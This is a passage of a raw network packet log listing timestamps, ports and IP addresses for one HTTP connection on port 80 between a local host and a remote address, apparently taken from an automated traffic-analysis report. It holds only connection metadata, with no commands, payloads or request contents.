Sep 29, 2024 02:00:18.594587088 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.594636917 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.594645977 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.594844103 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.594855070 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.594866037 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.594876051 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.594886065 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.594902039 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.594918013 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.594919920 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.594929934 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.594935894 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.594940901 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.594952106 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.594964027 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.594968081 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.594980001 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.594990969 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.595009089 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.595097065 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.595109940 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.595119953 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.595133066 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.595143080 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.595143080 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.595155001 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.595160961 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.595176935 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.595204115 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.595498085 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.595509052 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.595520020 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.595530987 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.595541000 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.595546007 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.595551968 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.595570087 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.595572948 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.595585108 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.595590115 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.595616102 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.595649958 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.595837116 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.595848083 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.595858097 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.595871925 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.595890999 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.596050978 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.596069098 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.596080065 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.596091986 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.596103907 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.596105099 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.596115112 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.596127033 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.596127987 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.596138000 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.596142054 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.596151114 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.596158981 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.596189022 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.596283913 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.596296072 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.596307039 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.596344948 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.596849918 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.596863031 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.596868992 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.596884966 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.596895933 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.596908092 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.596911907 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.596920013 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.596930027 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.596930981 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.596942902 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.596951962 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.596960068 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.596963882 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.596966028 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.596976995 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.596986055 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.596993923 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.596997023 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.597008944 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.597019911 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.597021103 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.597048998 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.597079039 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.597316027 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.597327948 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.597341061 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.597351074 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.597362041 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.597368956 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.597373962 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.597400904 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.597417116 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.597434044 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.597448111 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.597459078 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.597470999 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.597479105 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.597507954 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.597711086 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.597723007 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.597733974 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.597743988 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.597754955 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.597764969 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.597767115 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.597778082 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.597784042 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.597790003 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.597800970 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.597800970 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.597834110 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.597841978 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.597856045 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.597868919 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.597879887 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.597886086 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.597889900 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.597899914 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.597903967 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.597913027 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.597943068 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.597970009 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.598227978 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.598242044 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.598284006 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.598364115 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.598376989 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.598388910 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.598402977 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.598412037 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.598414898 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.598427057 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.598428011 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.598438978 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.598455906 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.598464012 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.598474979 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.598479033 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.598481894 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.598490953 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.598496914 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.598507881 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.598510027 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.598520994 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.598536968 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.598558903 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.608752012 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.608763933 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.608787060 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.608813047 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.608839989 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.608993053 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.609004974 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.609015942 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.609031916 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.609054089 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.609167099 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.609178066 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.609244108 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.617538929 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.617552996 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.617573023 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.617584944 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.617598057 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.617609978 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.617621899 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.617646933 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.617670059 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.617693901 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.617739916 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.683231115 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.683248043 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.683259010 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.683269978 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.683281898 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.683295012 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.683315039 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.683324099 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.683327913 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.683339119 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.683351040 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.683381081 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.683496952 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.683507919 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.683521032 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.683532000 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.683543921 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.683547974 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.683566093 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.683583021 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.683665991 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.683677912 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.683689117 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.683701038 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.683713913 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.683742046 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.684015989 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.684027910 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.684039116 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.684051991 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.684062958 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.684073925 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.684092045 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.684108973 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.684144974 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.684156895 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.684168100 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.684179068 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.684187889 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.684217930 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.684330940 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.684343100 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.684354067 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.684365034 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.684376955 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.684400082 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.684425116 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.684650898 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.684662104 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.684673071 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.684710979 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.684848070 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.684859037 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.684870005 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.684881926 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.684892893 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.684894085 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.684906006 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.684907913 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.684916973 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.684946060 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.684967041 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.684987068 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.684998989 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.685009956 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.685022116 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.685034037 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.685046911 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.685048103 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.685059071 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.685069084 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.685074091 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.685081005 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.685091972 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.685092926 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.685105085 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.685111046 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.685117960 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.685131073 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.685142040 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.685146093 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.685174942 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.850337029 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.858334064 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.075161934 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.075192928 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.075205088 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.075220108 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.075232029 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.075270891 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:19.075310946 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.075313091 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:19.075324059 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.075335979 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.075346947 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.075366974 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:19.075392962 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:19.075416088 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.075449944 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:19.075472116 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.075484037 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.075524092 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:19.075563908 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.075576067 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.075587988 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.075615883 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:19.075629950 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:19.075695038 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.075706005 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.075719118 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.075730085 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.075737953 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:19.075742006 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.075753927 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.075771093 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:19.075788975 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:19.075957060 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.075969934 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.075982094 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.075993061 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.076004982 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.076015949 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.076021910 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:19.076028109 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.076045990 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:19.076059103 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:19.076081038 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:19.076137066 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.076148033 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.076160908 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.076174021 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:19.076195955 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:19.076286077 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.076297998 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.076309919 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.076320887 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.076333046 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.076342106 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:19.076344967 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.076359034 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:19.076395035 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:19.076559067 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.076570988 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.076581955 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.076595068 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.076608896 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.076613903 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:19.076621056 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.076633930 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.076636076 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:19.076647043 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.076658964 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.076668978 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:19.076672077 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:19.076683998 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:19.076709032 CEST	49704	80	192.168.2.5	185.215.113.37
